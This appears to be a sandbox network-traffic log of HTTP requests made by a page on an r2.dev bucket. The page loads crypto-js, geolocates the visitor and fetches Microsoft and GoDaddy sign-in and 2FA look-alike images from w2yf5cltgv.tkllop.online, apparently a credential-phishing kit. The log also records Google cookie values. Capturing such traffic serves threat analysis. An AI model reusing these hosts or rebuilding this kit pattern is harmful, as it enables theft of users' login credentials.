Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-80685e4418f74026adc8912a5ab063db.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://fidgetvfx.nz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fidgetvfx.nzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-80685e4418f74026adc8912a5ab063db.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N2s2zh+xoLSoBYy&MD=WN3brtBL HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /jquery-1.9.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.9.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /obufsssssssscaaatoion/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/bg_normal.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/logo-off-1.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/microsoft_logo.png/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/key_workshcool.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/person_workshcool.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/person_office.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/person_office.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/microsoft_logo.png/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/person_workshcool.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/key_workshcool.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/logo-off-1.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/bg_normal.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/message_think.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/auth_number.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/call_2fa.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/2fa_authenticator.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /get_logo_banner/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/godaddy-left.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/bannerlogo?ts=636613980192295167 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/illustration?ts=636613980171400016 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/message_think.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/auth_number.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/call_2fa.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/2fa_authenticator.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/godaddy-left.png HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/bannerlogo?ts=636613980192295167 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/illustration?ts=636613980171400016 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redirect_tos/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /check_expirations/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1Host: freeipapi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
